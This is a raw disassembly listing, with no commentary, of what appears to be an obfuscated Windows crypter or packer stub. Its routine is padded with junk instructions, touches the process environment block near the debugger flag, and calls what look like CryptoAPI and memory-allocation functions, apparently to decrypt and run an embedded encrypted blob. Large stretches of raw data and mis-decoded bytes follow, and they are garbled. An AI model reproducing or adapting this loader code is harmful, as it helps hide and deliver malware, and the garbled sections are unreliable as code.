3412B7DEh, 10D1C1F9h, 0D833D9F7h, 810AD9C1h, 9169C6C3h dd 0A015FFCFh, 8B100030h, 4E3D8DFAh, 8DD5AF57h, 0BE6F650Dh dd 0FC00BCDh, 9884h, 20BF6600h, 11C9C184h, 0D6F7D9F7h dd 60F18190h, 66FF84DFh, 0C1573ABAh, 0BF660DC1h, 0F28919F7h dd 0BB18C9C1h, 0CFA3643Bh, 6C158D90h, 8BEDCE03h, 250D8DDFh dd 8CAFEEB4h, 9AE181C8h, 89E54E90h, 0F9E1B9CBh, 0F633D5F0h dd 7A8B5EB9h, 0AF389E1h, 42850FE4h, 0C1000000h, 0D98110DEh dd 6DD3A9F9h, 7E8AAFBBh, 63F98149h, 0C1BFAE6Ch, 0C3C102CFh db 1Ah ; --------------------------------------------------------------------------- loc_403789: ; CODE XREF: .text:004039AEj push 0 shl edi, 1Ch lea edi, ds:6D7AF1E0h neg edx mov si, 3554h call dword ptr ds:100030A4h rcr esi, 0Eh mov esi, 6DB48855h mov ebx, esi mov cx, 56E6h shr ebx, 1Dh cmp eax, 5 mov si, 2CA0h xor ebx, ebx mov di, 540Eh push 293h sub ecx, 0CD9F94A2h lea edx, ds:95ABD17Ah sub ebx, 0CDE6F76Fh add ecx, 0AD7BABDCh not ebx mov edx, 55CFA1D2h pop dword ptr [ebp-14h] xor ecx, ecx lea esi, ds:55C58EF6h lea esi, ds:913D4168h xchg edx, ecx mov cx, 5350h mov si, 0A82Ch nop or edi, 1554E8FAh rcr edi, 17h mov ecx, 1F9988F5h mov cx, 7AEDh xor edi, edi xor edi, ebp mov cx, 8C67h mov ecx, 0C9008A13h mov dword ptr [ebp-10h], 0A552254Ah mov edi, 0BD2DC480h not esi mov ecx, edx mov dx, 1172h lea edx, ds:55AE6B6Ah and edi, 6D3CAD14h push edx mov edx, esi mov di, 133Ch lea edi, ds:15C7031Ch cmp edi, 0B5549B73h not edx neg edx lea ecx, ds:0EDA8A53Eh mov ecx, ebx push eax adc esi, 1D74DDF1h mov di, 0F254h neg edx mov ebx, 0CDA6BBD7h xor edi, ecx cmp edi, 9F955E97h call dword ptr ds:10003100h xor ebx, ecx lea ebx, ds:55DA076Ah xor ecx, ebx lea ecx, ds:95F86488h cmp ebx, 3FE8FEB9h xor ecx, ebx xor edi, ecx not esi xor eax, 804B1DA8h xchg edi, ecx mov edx, 576261Fh rcr edx, 15h shr ebx, 0Ah not esi mov [ebp-0Ch], eax mov edi, ebx neg esi lea edx, ds:690ACA99h nop mov cx, 59C3h mov esi, edx shr edi, 1 nop shl ebx, 1Bh rcl edi, 13h lea ebx, ds:0C56DAAC3h ror edi, 18h mov si, 7923h mov eax, large fs:18h xor edi, esp mov esi, ecx neg ebx shl ecx, 1Eh not edi mov dx, 32D7h mov edx, 15ED3AC4h mov eax, [eax+30h] xor esi, ecx mov ecx, ebx lea ebx, ds:0B500284Eh mov ecx, edx mov bx, 82BDh lea ecx, ds:0EDA7D88Ch lea esi, ds:5FC6642Eh mov esi, edx push dword ptr [eax+2] add edi, 1FEFE212h xor edi, 0F9662396h mov di, 0ED63h neg edx not edi mov esi, 15A367B1h neg edi mov esi, 0EDCF9D24h push eax not edx mov si, 0F130h shl esi, 18h xor esi, edi nop xor ebx, ebx xor ebx, edx rcl esi, 3 neg edi xchg edx, edi nop add esi, 0DF993DE6h rol edx, 1Ch lea ecx, ds:39376292h lea ecx, ds:952802ABh mov edx, 0BFB6E947h adc ebx, 0D14E6B8Bh rol esi, 2 mov dword ptr [eax+2], 95959595h lea esi, ds:0CDDA479Ch neg ecx xchg esi, ebx adc ecx, 21474D16h xchg esi, ecx xor ebx, edi call dword ptr ds:10003084h xor ecx, 3FA762E7h lea edi, ds:55D92C9h mov edx, ebx mov ecx, 1962F3DCh mov ecx, edi mov edx, 15B66587h or eax, eax jz loc_403789 mov ecx, edx xor edx, edi not esi mov ah, al shl ebx, 0Ch add ebx, 55824181h lea edi, ds:0FC34B74h nop rcr ecx, 14h shr ebx, 10h sub edi, 3FFFD288h mov edx, 0BD65944Eh xchg esi, edi nop xor edx, edi lea edx, ds:192358EFh mov ebx, edi shl edx, 1Fh lea esi, ds:6FC1E242h mov esi, 0ED3523D9h ror eax, 8 xchg edx, ebx mov si, 0E859h lea edx, ds:1F84611Dh mov bx, 603Ch rcl edx, 10h mov ah, al lea ecx, ds:1FA15A62h xor ebx, esi xor edx, esi adc esi, 0BD6D7A70h sub ecx, 916B4A7Eh ror eax, 8 xor ecx, 0D5E19D00h neg edi mov ebx, ecx lea ebx, ds:0FD3E97AFh mov ah, al mov si, 7C2Ch mov di, 438Ch xchg edx, esi rol esi, 4 lea edx, ds:16FFB2Ah lea edx, ds:6DF5EE1Dh rcl edx, 0Eh mov [ebp-8], eax mov ecx, 0CD861034h mov di, 2DE4h lea esi, ds:0C53CAFBBh nop xchg esi, edx neg ebx mov cx, 8C1Ah xor ebx, ecx xor edx, edx nop rcl edx, 7 mov si, 0ED0Eh mov si, 62AEh lea edx, ds:0CDECBD9Dh mov esi, edi pop eax shl esi, 9 neg esi xor edx, 0AFDE8888h xor edx, ecx xor ecx, 39084460h not esi shl ebx, 12h mov di, 0B830h pop dword ptr [eax+2] mov edi, ecx mov edi, 0EFF69E7Ah lea edx, ds:0F527FA9Fh xor edi, ebx mov ebx, 0D5A7D73Bh xor edi, ebx lea eax, [ebp-4] lea ebx, ds:6DAE9939h lea edx, ds:0CD9E2FF7h xchg esi, ebx rol ecx, 1Dh mov ecx, edx mov ebx, 993C9711h not ebx push eax mov ecx, 0F1760C76h mov bx, 0C947h mov di, 0E450h ror ecx, 14h mov edx, esi mov edx, 7FBC0073h and edx, 517A2CBEh xor esi, edx push 40h rcr edi, 9 mov cx, 0B072h xchg ebx, ecx mov si, 0E416h shl ecx, 8 mov bx, 854Fh sbb esi, 15FC520Eh push 11C8h lea ecx, ds:0FFF58E35h lea ebx, ds:0FCC6C78h xor edi, ebx rcr ebx, 11h push 10001BA9h shr esi, 14h cmp ebx, 15ED9F14h mov esi, 754CBF72h xor ebx, edi mov si, 0F7A5h xor esi, 4FEAAFE3h lea edx, ds:15FCFE97h and edi, 0E1517BDDh call dword ptr ds:10003064h mov bx, 0A9E3h or edx, 9518239Dh mov ebx, 954F57B1h mov bx, 0FC7Ah mov ebx, 8FA244B4h sub edx, 0D57026ABh nop sbb ebx, 1F85664Ch neg edi mov cx, 537Ah lea edi, ds:0DD76088Dh mov esi, 6DFCE3B1h xor ebx, edx mov dx, 2443h nop or ebx, 3F8AB37Eh ror ebx, 1Ah mov edi, 0AFBB0C2Ah mov ebx, 456497AFh mov edi, esi lea eax, [ebp-3Ch] mov ebx, 2F8C1DDEh mov dx, 3DA6h xor ebx, edi xor edx, edi sbb edx, 513C6ECBh mov di, 87C2h mov ebx, esi push 0F0000000h mov dx, 63Ah and ecx, 753376C8h neg edx lea edx, ds:3FAD0D82h adc ecx, 6DC851C9h mov dx, 9917h lea esi, ds:0CD9DD5EFh push 1 xchg edx, ecx shl ecx, 9 shr edi, 10h push 0 shr edx, 0 lea ebx, ds:0D5CC23E0h rol edi, 10h mov ebx, 4D7B581Eh shr edi, 0Ah rcr edx, 14h mov di, 332Bh ror edx, 1Dh push 0 neg edx xor edx, edx xor ebx, edi xor esi, ebp xchg edi, ebx mov ebx, esi not ecx push eax mov ebx, esi rcr ecx, 17h xor ebx, esp call dword ptr ds:10003134h not esi mov cx, 909h rol ebx, 3 nop neg ebx mov edx, 9FF110FBh mov edx, esi xor edx, esp mov di, 0ECEEh nop rol edx, 0Fh mov ebx, edi xchg esi, edx mov edi, ebx xor ecx, esi sub ebx, 2119CA03h xor ebx, ebp mov ecx, 0E5614A6Fh lea eax, [ebp-40h] shr esi, 15h lea edi, ds:7F87BD6Fh mov di, 0E001h mov si, 0A6Fh and ecx, 9962EFF9h neg ecx shl ebx, 4 push eax mov ebx, 1597C47Dh not ebx rol esi, 0Dh mov esi, 0F9545332h shr edi, 0Fh lea ebx, ds:0E17893C3h push 0 shl edi, 0Dh lea ecx, ds:0CFBFAE10h neg edx xor ecx, edx push 0 lea edx, ds:0BF8017A2h xor ebx, eax mov esi, 6FAD6766h mov dx, 0ED8Ah not edi push 8003h mov bx, 0C608h lea edx, ds:49607222h xor edx, edx push dword ptr [ebp-3Ch] rol edi, 1Ah lea esi, ds:91104AA1h lea ebx, ds:158779C2h mov ecx, 0B17E3422h lea ebx, ds:15FDEC2Eh call dword ptr ds:10003124h lea edx, ds:0EFD67E73h shl edx, 19h xor ecx, 995B3077h not ecx nop rcl ebx, 5 mov di, 2EB9h neg ebx sbb ecx, 1F808B54h neg ebx nop add edi, 9953F4D9h shr ecx, 1Dh not ecx lea eax, [ebp-14h] lea ebx, ds:0A95C564Ah add ebx, 0D5D9B17Bh and edi, 9551A828h mov edi, 15DBBAAEh lea edx, ds:55FBB2ACh push 0 add edi, 0DFB0BEBEh xor ecx, esi xor edi, ebp mov ecx, edi mov si, 0A6C2h mov cx, 0EAFAh push 14h rol ecx, 1Bh add esi, 490EDDAAh neg esi mov ecx, edx mov bx, 106Eh push eax mov edx, 0CD87AAD9h lea esi, ds:1D54457Eh mov si, 7387h neg ecx not esi push dword ptr [ebp-40h] mov si, 0FBCDh lea esi, ds:3D7131DFh rcr edi, 15h call dword ptr ds:1000313Ch mov edi, edx lea ebx, ds:0E111D418h xor ebx, eax mov esi, ecx xor edi, ebp or ecx, 116E2CFAh neg edx xor edi, 0BD022185h nop mov ebx, 3D1782FCh xor esi, ecx mov edx, esi nop xor ebx, ebx rcr edi, 4 mov edi, 0F12AC81Eh lea edi, ds:0FF98BBCCh lea eax, [ebp-44h] rcr edi, 18h rol ebx, 1 mov ebx, edi not ecx mov bx, 9BF4h mov ecx, esi push eax lea edx, ds:1FB30AFCh lea esi, ds:496EA130h mov esi, 0CDFC194Bh lea edi, ds:0EDCA37AEh rcl edx, 1Eh lea edi, ds:0C55F2819h mov si, 1C65h mov esi, ecx push 800000h mov si, 0A683h adc edi, 0E1325841h mov edi, 1D66B8BEh rcr edi, 8 xchg esi, ecx xor edx, edi mov dx, 3A8Ch xor ecx, edx push dword ptr [ebp-40h] lea ecx, ds:0FD26B009h sbb edi, 0A131BAEFh mov esi, 796AFBA3h lea edi, ds:6122B374h push 6801h mov esi, edx mov ecx, 2FDC7CA5h not ecx lea esi, ds:5516A15Fh xor edx, esi lea ecx, ds:15ACA325h push dword ptr [ebp-3Ch] not esi xor ebx, ebx lea edi, ds:89194BF0h lea ecx, ds:215520A2h call dword ptr ds:10003138h neg ebx xor esi, edi shl ecx, 19h mov si, 4AEBh nop lea ecx, ds:0DFBC820Fh mov dx, 0DA55h mov ecx, 55BE0641h xor esi, eax and edx, 0C97B99D6h nop mov ebx, edi xor ecx, esi mov si, 677Eh push 11C8h rol edx, 8 mov edi, esi mov di, 11C8h mov edx, ecx push esp xor edx, edi lea esi, ds:8926F406h neg esi xor ecx, ebx push 10001BA9h neg esi neg edx lea ebx, ds:0E121DA04h rcl ecx, 4 adc edi, 0F12C3396h sbb edx, 895B42F8h mov esi, ecx neg ecx push 0 mov bx, 909h neg ecx xor esi, 5D7EF129h shr edi, 6 mov ecx, 1FD8F26Fh shl edx, 0Fh lea ecx, ds:492D2AB8h shl esi, 1 push 1 lea ecx, ds:0A9334693h rol esi, 1Fh sub ebx, 0D5C21F54h xor esi, 0E521B989h mov ecx, 0CDF7065Dh mov edi, 0D17BB42Dh xor edx, edx push 0 neg ebx xor ecx, 6FAE4637h rcl esi, 4 xor ebx, ebx xchg ebx, ecx neg ecx push dword ptr [ebp-44h] xor ecx, edi neg esi lea ebx, ds:4D0D9F9Eh xor ecx, esi call dword ptr ds:10003164h add esp, 4 mov esi, ecx cmp ecx, 114B2059h rcr edx, 4 shl esi, 8 not esi lea ebx, ds:0E9441552h sbb esi, 391F4B02h nop rol edi, 0Dh lea ecx, ds:9F8BAF1Fh adc esi, 7F8AB104h not ebx mov edx, edi shl edx, 18h neg edi nop mov dx, 2586h mov si, 464h mov bx, 8AB5h shl esi, 6 loc_403FA2: ; CODE XREF: .text:00403FB7j neg ecx neg ebx popa leave loc_403FA8: ; CODE XREF: .text:00403FB5j jmp $+5 ; --------------------------------------------------------------------------- db 0CDh, 41h, 0E5h ; --------------------------------------------------------------------------- jnp short loc_404024 and al, [eax+5Ah] jb short loc_403FA8 jge short loc_403FA2 and esi, eax ror byte ptr [ebp-423A3763h], 1 mov al, 42h retn ; --------------------------------------------------------------------------- dd 0EA37A21Ah, 0C67441D1h, 0A9E45968h, 67712550h, 1671ACBh dd 62BD92BAh, 84E4695Ch, 0B3F4FAAFh, 0C50DC974h, 0A4459988h ; --------------------------------------------------------------------------- leave loc_403FED: ; CODE XREF: .text:00404069j push ecx mov eax, ds:7C695DBCh retn 8E19h ; --------------------------------------------------------------------------- aDsPe_NZimvC db 'DPe.<mV',0 db 0F6h ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 5Bh, 12h, 80h dd 7AA58D3Eh, 0F3CA24EDh, 59943705h, 4AD9D83Dh, 4148D4B4h dd 0E79E054Ch ; --------------------------------------------------------------------------- loc_404024: ; CODE XREF: .text:00403FB0j push ecx into cmp ebx, [ebx] or edi, [edi-2Ch] pushf and ch, [ecx] and [edx], esi db 67h, 26h rep mov ch, 5 inc ebp mov bl, 2Bh inc esp xchg dl, ah lodsb xchg eax, ecx out dx, al add al, 0BAh lock or eax, esp in al, dx pop ebx cmp [ebx-68EB4020h], ch imul ebx, [ebx-1Dh], 5184042Dh out dx, eax neg dword ptr [eax+57994C8Bh] ; CODE XREF: .text:00404061j xchg dl, [eax] ; CODE XREF: .text:00404063j in eax, 6Ch mov ah, 7Fh push es dec ebp jle short near ptr loc_404053+2 jns short near ptr loc_404059+1 sub ebx, [edx] jp short loc_40406E jg short loc_403FED pop esp cdq xchg eax, edx loc_40406E: ; CODE XREF: .text:00404067j imul eax, [edx-7ABBB196h], 0EF7385E1h xor al, [ecx+ebx*2-7D41F51h] mov ebx, ss pop es ; --------------------------------------------------------------------------- dw 66DBh dd 8E586FEEh, 870BD3CFh, 0EA69ED7Dh, 0F1295DDh, 0B207E647h dd 0C7C7E901h, 14B59044h, 5237EAFDh, 0AFFCD089h, 0FE7D50DAh dd 0EECE7BDFh, 0CB6143EAh, 22CA3401h, 8203C3ACh, 0BA497FAAh dd 3AE3FA62h, 5BE7131Dh, 232A22Ch, 9089B8D8h, 7C584CA5h dd 42763DF4h, 0F10EE7B8h, 0D053FE77h, 0F9195520h, 76053275h dd 4FC3874Fh, 276EBF06h, 474D9048h, 0C8B11143h, 0F0F31A36h dd 86364389h, 56267B3Bh, 41CCA9CCh, 0AD33F3F1h, 0B9F68ED6h dd 0FDA98918h, 858429AEh, 518B3487h, 0B01D479Ah, 77AC8577h dd 0CB327586h, 9B3DD28Bh, 929F1B31h, 0E3BADB33h, 80158188h dd 0E9054884h, 7B0A08CDh, 919B014Eh, 384C8924h, 649EE52h dd 5DF591AFh, 19B1DED3h, 0B52412DFh, 0A3FE75AFh, 0FB536FD8h dd 74B7761h, 2A08122Bh, 0BD2D30B9h, 0A62A4ADFh, 4E35D967h dd 0FE4D5F51h, 5CEEF6D2h, 2CAA4DEFh, 9FFEDD16h, 8D64D0A1h dd 48268FBCh, 2318CECFh, 0D877B0CAh, 0D3F8036Fh, 0B7763DEh dd 1F5343E3h, 9E320DDBh, 4E22DE7Ah, 13936F16h, 0D2A9373Bh dd 9CE39EB8h, 39663B2h, 18CAB2C3h, 45E1CD17h, 37CE5537h dd 0CC0DDF21h, 5B5B3CC7h, 0D5EF3FD6h, 5BF4DC89h, 0A6E13AADh dd 0DC45BE0Bh, 0A16F92E4h, 0FC28F9BBh, 0BD2C287Bh, 0DA1CDDA4h dd 95C90A5Dh, 0EA3F7E1Eh, 9E86DBCEh, 92F44268h, 9DF934FDh dd 44644421h, 8FC33DBFh, 67F40062h, 0A631DCC2h, 0FF389C9Dh dd 890E526Ch, 59CA5D3Eh, 83B85CB0h, 15E8A1BEh, 5498402Eh dd 0ED9EE1B3h, 5F22255Bh, 0B1A6F181h, 0B0631E83h, 0D408C82h dd 82D8955Bh, 0A4793884h, 3096B9A8h, 428C0ED6h, 0F54FE1A3h dd 71C244FAh, 0A0662FB8h, 6DEFE52Ch, 0CB003666h, 0A940FFD6h dd 0B1AAD0E9h, 0F1B39562h, 829910DAh, 0A6A6C092h, 7F8634B9h dd 0E1CAD104h, 9F384E40h, 353A516Dh, 33AD1936h, 0CBB52BFFh dd 96020F9h, 0A43137E6h, 77E856DCh, 7663CBD5h, 810ED5A8h dd 0F89BE0C4h, 48804262h, 0E4C1E83Dh, 6FB3D4B4h, 0CE590CBh dd 0E0726EACh, 519A0CCBh, 37D0C1DEh, 9132DD26h, 165B73DCh dd 0ED32BCAh, 0B4C3C245h, 0B132B862h, 7FE849A2h, 0BBD15069h dd 0D096B642h, 3AF7C40Fh, 42BD1D5Ch, 3A521D60h, 0B93A57EFh dd 9D11D3Bh, 8C974890h, 44228EE8h, 39A15730h, 14265874h dd 0E9CF4C55h, 952B1A13h, 9AB2A06Dh, 22BEBB56h, 28195D89h dd 315D970Ah, 0A6D56FADh, 0EE684E0h, 0F7E3A092h, 0A50E7881h dd 0C8886AE0h, 0F2A24578h, 0A1FC455Fh, 0F4C3F92h, 9C7E805h dd 0E8731915h, 734CF052h, 48E4BD07h, 0ED757EEBh, 1501F836h dd 0D5C55B3Eh, 553700A3h, 0BF74F193h, 6EAAF0CBh, 0B856BF9Eh dd 80E327Eh, 5696F37Bh, 0A29BD2B5h, 88A8E247h, 8B9BFC67h dd 4A2BD9BAh, 2C97C5F9h, 3726DB41h, 5A44BBE3h, 0A344BA64h dd 0A7CD4987h, 0A1CC3FCEh, 5F9335BAh, 0E60779A4h, 0C461BADFh dd 6B5AF894h, 0F12DE0B8h, 4DA937F4h, 8FE6EB03h, 0BA75A89Fh dd 9CACD686h, 172DF8E6h, 0E72BA8C0h, 6A2474C1h, 0E111E1FAh dd 0DA2F273Eh, 0A213F3Fh, 0CDCAFC19h, 4993EAAFh, 472847FCh dd 0CC03AEFFh, 1E5E4D91h, 81D6D1F5h, 0DBE20FF3h, 2C62D750h dd 0B293A2Bh, 68E44630h, 7C1C4DDBh, 7B4B87FFh, 0C7FD143Bh dd 0D6FAFFEh, 0CBD6223Dh, 22AB206Ah, 783A88D6h, 0C9DC8635h dd 21F7AA82h, 0EAFC02CFh, 0CCCA8BC2h, 0E9D3EB51h, 0ABC27558h dd 0B2B78DB8h, 7A1D7A60h, 5450966Dh, 17922F4Bh, 0D1701FC7h dd 8A031F29h, 0FE047301h, 17A238C9h, 0EB75FC1Ah, 7A0A77D9h dd 0C62EEB52h, 0A27618A2h, 204E083Dh, 0BDE5EA0Dh, 0EB9D0A35h dd 0BB2F4759h, 0F707FC33h, 199997BDh, 0AE69FF8Ch, 414E7996h dd 0C7EA7F03h, 9454DB2Dh, 4DB014Bh, 56A06704h, 4F33416Dh dd 4084A809h, 0F3A847A9h, 0DB7D586Ch, 7E9D2AD0h, 377F5692h dd 398DC960h, 4A68B401h, 0D4B9011h, 0B7476F0h, 0A9290F63h dd 9B9B9E53h, 38AFC607h, 0D54DEB3h, 63B12FE2h, 37D693Fh dd 0D1917A8Fh, 4B84304Eh, 1E050EF6h, 306AE673h, 0C292B470h dd 0C4DC4540h, 0CA0D3E11h, 0A4D3F7E3h, 42571EEFh, 85438468h dd 7F2B449Ch, 0BB02F21Eh, 0A949B354h, 0ED765997h, 0AF7E260Eh dd 1AC04F3h, 0D7C99725h, 0D39436D6h, 9516F400h, 54A12647h dd 0EE52AEEh, 81CAC07Ch, 81BF01EBh, 0A7D41779h, 300D8864h dd 0EE725FEFh, 9309612Bh, 0F72030C2h, 8A56FB0Ch, 36785960h dd 5DAF6AA9h, 3D111B82h, 60A99D38h, 4DCB4168h, 73569A3Fh dd 596A5413h, 5F8DCDF1h, 0CCBE5A54h, 126F3F92h, 0F1F1DB35h dd 0E9573AA4h, 3633F6BAh, 5E14966Bh, 654B543Ah, 0D9965D17h dd 8682D851h, 63A4B458h, 0EFFCB6D1h, 768DB07Fh, 1DFCFB77h dd 0A2CE654h, 6DB1C91Eh, 2B602F80h, 7EC442C6h, 9FE9CC10h dd 0A294D1DCh, 3A88D96Eh, 67184F0Ah, 358309BBh, 1A90FC29h dd 6004E92Ah, 0E8779E65h, 0B1D5918Fh, 0EDE5BDF0h, 64ECB066h dd 0C3E22DF6h, 254FECA3h, 0CC8F9CC5h, 656E5F89h, 32E0F76Ch dd 4B554A78h, 31C7F3A3h, 5E227EE7h, 5A565DDh, 0FE47BB62h dd 125C231Fh, 2DE2E1B3h, 51170977h, 22FF325Dh, 0C8ACD6B9h dd 0B5E94440h, 60BACEEh, 0DCF396D9h, 0EA7257C9h, 68384EBEh dd 7DF384C1h, 4466F0EDh, 0F6BDC0A2h, 86ABB8D0h, 222D2115h dd 0CEFC79E8h, 293AF0F3h, 0D1A9FBE3h, 9255453Fh, 9B0D03D7h dd 46BF0A7Bh, 9DF4EC51h, 45FF2C72h, 32E4AA8Fh, 3A3CC5B1h dd 7DE62ABFh, 0E9D668C1h, 4DC4B762h, 9D7EA10h, 0DF999A81h dd 0F1383637h, 0CC057B32h, 264C181Ch, 0BD20CF40h, 2D8B33FBh dd 61E8D02Ch, 0AD7EE7B9h, 0F3528488h, 51CFF488h, 0B0BBC1CDh dd 0A1203CF0h, 80B98C7Bh, 48F9E134h, 18D8BD5Ch, 0B2DC6643h dd 1F115C0Ah, 2F764088h, 57AB2E64h, 4C2CC90Fh, 91451FC8h dd 0CEBD1702h, 38782AC7h, 5D0BEFCDh, 62F6002Ah, 0CAA93B66h dd 0B9CBAF79h, 0E00D5AE5h, 3BD8730Ah, 68FDA558h, 3B840F11h dd 0DE01E1ADh, 0E53C8511h, 272C234Ah, 0F98D97ADh, 59CBF9B7h dd 0C1AA1E24h, 890F87A0h, 911F2B2Fh, 7A64187Fh, 0B8340490h dd 90951FB1h, 0D90D9258h, 8A2DA41Bh, 0E2EA03A3h, 8D88257Ch dd 3899D1E5h, 33FB35F0h, 33FA00EEh, 0A4B42B8h, 0F13CF66h dd 0ECC90D6Fh, 9C3903F6h, 5DE37BF5h, 8E63E8Ch, 0FC773AEAh dd 4E7DB9AAh, 0F9E26887h, 7543EDC8h, 0FF2918E6h, 0EA33CA5Eh dd 376F436Ch, 0F93D7DA9h, 0CD09D585h, 0AECFD204h, 9FD564C2h dd 2B2D4891h, 6345A271h, 0D7AB3B66h, 9BDC66C8h, 7C3C2741h dd 1B8B0ACh, 2BCE7935h, 6733001Bh, 65EBCB01h, 0D159E07Eh dd 93BD0E7Eh, 8969511Eh, 66FC3C03h, 0B260EC41h, 11BB1203h dd 0DCC4ED3Bh, 0E9222279h, 59C9FDC8h, 0FE471724h, 48C68C39h dd 0D769A7F1h, 0A55B56C2h, 0B5F6D23Ah, 0E120E7D3h, 4EE6F09Ah dd 939DEA58h, 0D89BDC71h, 233ADADBh, 0C71A33F0h, 18A1E1D4h dd 96EDC5F3h, 0DD1EBA5Bh, 0DAB1F391h, 0D016D85Fh, 0FC754F80h dd 23E65771h, 5BCA00F5h, 28148936h, 61FF328Dh, 0D6F4D0C8h dd 827C39CBh, 3313B42Ch, 885BEB46h, 89B795C1h, 1A02E7CBh dd 286E6B8Eh, 386B2A4Eh, 7D807079h, 543C5001h, 0C3A555ECh dd 323BA5F3h, 0BDF09DB1h, 0B97278F2h, 281C641Ch, 0E30EA770h dd 97B9B741h, 0A3DDD034h, 0CA216C1h, 2A7BF6F2h, 2A53A785h dd 75CCF609h, 0EFEDCCA0h, 0FB53BBC5h, 0CC339325h, 33B71226h dd 0AEB1D5CEh, 8F41FFA3h dd 23238ECCh, 34135000h, 41F1C6B3h, 3A11FE14h, 0A9008E27h dd 66D40B40h, 7E8B4A40h, 70F2233Ch, 6B214EE6h, 19FDB715h dd 0B1D72FD3h, 8D7E5211h, 0A676C763h, 4B3D9243h, 0C73C6A9Eh dd 0EFF9344h, 3058DFFCh, 1A5660FAh, 314E336Bh, 0CA53E565h dd 5F8B0166h, 60F1D00Bh, 0F8AA8F8Ah, 64D74914h, 0DDD7E721h dd 34E55296h, 0F4CCA91Bh, 0BB1E939Bh, 4AA76A8Ch, 0BAF99C8Bh dd 0FD99A1B6h, 327F529Dh, 0BA1655CDh, 8C7AC85Ah, 2C9A487Bh dd 0FEF1B0Dh, 0BB5B64Dh, 0AABB1A8Eh, 0BC7CCA94h, 43EEEE98h dd 1B943360h, 0D6151F51h, 2997706Ah, 0C02CDF2Eh, 0B79D1CDFh dd 3F37FB7Dh, 33E623FEh, 0FDE96AACh, 11DF61D7h, 15644E25h dd 56061C9Bh, 99A3A7Eh, 9ECF3921h, 0EC5000C1h, 7346480Fh dd 0C45C9165h, 13596285h, 279878BCh, 0C05B650Bh, 8CA0A86Ah dd 505ACF16h, 0B811F122h, 3721CFAh, 2AD042CDh, 9053699h dd 3C04D59Bh, 115A2EA8h, 1D02022Fh, 41E35782h, 8CD48EC5h dd 0A0A7F630h, 227B1941h, 3489E677h, 5015FD2Ah, 0B468A7AFh dd 0A1A1C2A2h, 109F1295h, 5EC43329h, 0E7C02530h, 0E72E20C3h dd 0FC8BDDF7h, 0D445C1E7h, 0F4B039EAh, 75E0E041h, 0F2025914h dd 5DA2221Fh, 4C48BF5Ah, 95998793h, 0C6958A17h, 0B3B2F352h dd 0F79C3A50h, 9BA07E6Ch, 98953C81h, 0F29DD918h, 2606472Ch dd 0BC03CECCh, 0FAC311C3h, 0E8431B86h, 40BC0654h, 0AB77A5F8h dd 0D20858B4h, 272F7F16h, 0E3FCBC77h, 0F48C965Ch, 8E13A3E2h dd 0DC009276h, 4F827616h, 0E9F329C5h, 9A169F8Dh, 4C6D4D6Fh dd 52ED4041h, 4005DB6Ah, 1025363Eh, 0F80D9E83h, 0DF35963Ah dd 524B203Bh, 65DD2038h, 0BAF9B3D0h, 0F9722F0Ah, 671AA069h dd 0BABF658Bh, 8187593Fh, 0A60B8615h, 35D84D09h, 7466D8C0h dd 6DF70A08h, 91277780h, 0C9B64A91h, 0E267F324h, 604FA3E3h dd 67B4C9C9h, 0BA73C2DDh, 75EF4B08h, 0D41A3494h, 1A1AC077h dd 834A201Dh, 5225982h, 3BA92A06h, 6515DC3Ah, 0E0F45FC3h dd 73A0CCB3h, 22DD2632h, 0AE121334h, 367072C6h, 0E1FC7D3h dd 0EB33F5C9h, 0FC2D82D8h, 0AE972E55h, 963B40ECh, 0A417818Fh dd 0FA5CEC61h, 0F268A338h, 4E0879E4h, 5C28ACCDh, 15233FFh dd 82A5C62Ah, 3917853Eh, 0E54BEC5Ah, 8FB5AD5Eh, 89B7DAE8h dd 2FB6E7A6h, 267F7D9h, 842C7754h, 9584E05Bh, 5AF82A13h dd 9BF8329Eh, 11CEEC56h, 38B83850h, 0DDCB7B60h, 695182A3h dd 0CF1776B1h, 3E139D28h, 35C97DADh, 0C53C940Bh, 0BE77EF10h dd 0A71360B5h, 0C8F02932h, 0BA359487h, 0E939800Ah, 2F3233C2h dd 73741BEDh, 0F3DBE081h, 0C379DE4Ch, 0A0070B9Ch, 819E4BC3h dd 99DC5F80h, 30AD7CC9h, 0C0643D56h, 0C553B2F0h, 519715C0h dd 82F554FBh, 59679ADDh, 121D6D3Bh, 0D44CE691h, 0E65791F6h dd 8F21C856h, 93362512h, 5570D7CBh, 3CA74B85h, 40F9C5A5h dd 99D20C81h, 0A4D12211h, 0C6DF4D77h, 20CEB5E6h, 0D4FB5F91h dd 0B1EE5DADh, 3F1F4501h, 0CB2D1109h, 3AE9B699h, 0C2650786h dd 1AF6215h, 5FF7843Fh, 13C2A3FAh, 0B8A0AF75h, 0BF29428Dh dd 0C9027CE4h, 67BBD6B7h, 79471BB3h, 9E837E01h, 0C6C566D0h dd 9624E583h, 376A32FAh, 9AE1E2E3h, 0DAC72ECCh, 2F0D9E3Eh dd 0D340E4F2h, 0B35FDE11h, 0DD093255h, 0A18D40D0h, 26FCA5F9h dd 0BE47E857h, 0AAA9A6D2h, 20F3AD42h, 65877B4Ch, 0DFC773FCh dd 0EAAD85E0h, 28E0E4BAh, 401B5DCEh, 7B554980h, 402F5159h dd 0C0BA7359h, 0D387396Dh, 1C69325Bh, 0A1DFA026h, 0CED86DCFh dd 7D89B95Dh, 7602B34Ah, 0A2D389B2h, 5F9D2ECh, 0BB4CF50Ah dd 893A3BB0h, 766CDE1Dh, 79CB0C5Dh, 44F9A8D9h, 6769A8B3h dd 13F58361h, 0CF434230h, 183CF3AAh, 7EB6E43Bh, 7B2D0841h dd 0E909D4E1h, 3ED018ABh, 538CEE57h, 96459395h, 0BA38D13Ch dd 1DA8A9F6h, 0D5EE7F9h, 0B5A190BEh, 3F8BE9B6h, 0F1CC447Bh dd 0F3F9EFDFh, 0B6E42443h, 83D36881h, 2996AD8Ah, 6C026365h dd 0BA52B66Eh, 0E9E6758Fh, 860876D9h, 2C4DCEF6h, 3323C569h dd 6AE4AE75h, 0EEB0D3E0h, 0DCFE02B9h, 0DB1FFB7Fh, 2130C556h dd 7F58CA1Eh, 0BFDCDAC4h, 0DCAD97CAh, 92C6D62Eh, 7AA97B36h dd 17EA8E6Dh, 8F488CFAh, 3D46714Ah, 9DB0C352h, 0B947F623h dd 86C939E1h, 0D098EF5Dh, 0A8411EEDh, 7CD8ACF5h, 3318155Ch dd 5A379C77h, 832D395h, 81E162F2h, 0F50CA846h, 87EE06F9h dd 0FCB0906h, 0EDDD47D2h, 8F013100h, 162A78A1h, 9590238Dh dd 0A0980D38h, 281B76B2h, 614E59Eh, 200E9968h, 0DAD13FA1h dd 12F4AA72h, 